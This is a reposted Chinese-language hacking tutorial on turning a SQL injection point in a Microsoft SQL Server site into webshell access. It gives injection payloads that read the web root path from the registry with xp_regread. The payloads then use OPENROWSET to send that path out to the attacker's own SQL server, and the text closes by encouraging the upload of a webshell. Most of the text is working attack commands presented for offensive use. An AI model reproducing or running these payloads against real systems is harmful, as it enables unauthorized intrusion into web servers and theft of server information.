当前位置:主页 > 查看内容

渗透中用openrowset搞shell的方法

发布时间:2021-04-08 00:00| 位朋友查看

简介:渗透中用openrowset搞shell的方法 得到SQL注入点,首先想到的是BACKUPWEBSHELL,扔在NB里跑一圈,发现屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了. 联想到一个权限不是很高的命令openrowset,进行跨库服务器查询,就是把一个SQL命令发送到远程数据库,然后看……
渗透中用openrowset搞shell的方法 
得到SQL注入点,首先想到的是BACKUP WEBSHELL,扔在NB里跑一圈,发现屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了.
联想到一个权限不是很高的命令openrowset,进行跨库服务器查询,就是把一个SQL命令发送到远程数据库,然后看返回的结果,但是要启动事件跟踪!我们可以把网站信息写入数据库,然后%$^%$@#$@^%$~
首先在自己机器建立SQL数据库 

然后在对方机器上建立个表 create table [dbo].[fenggou]([cha8][char](255))--

在对方执行 DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into fenggou (cha8) values('select a.* FROM OPENROWSET(''SQLOLEDB'',''自己的IP'';''sa'';''你的密码'', ''select * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--

这样fenggou这个表里就会有这样一条记录select a.* FROM OPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码', 'select * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1''')AS a

不用说,''D:\WEB"就是从注册表里读出的物理路径拉.然后执行DECLARE @a1 char(255) set @a1=(select cha8 FROM fenggou) exec (@a1);--

等于执行了select a.* FROM OPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码', 'select * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1''')AS a

OK,这时你在你机器上SQL事件追踪器上就会显示select * FROM pubs.dbo.authors where au_fname='D:\WEB,,1' 
哇 哈哈哈哈哈 物理路径到手了 写小马传大马吧~ 


本文转载自网络,原文链接:https://m.jb51.net/article/5137.htm
本站部分内容转载于网络,版权归原作者所有,转载之目的在于传播更多优秀技术内容,如有侵权请联系QQ/微信:153890879删除,谢谢!

推荐图文


随机推荐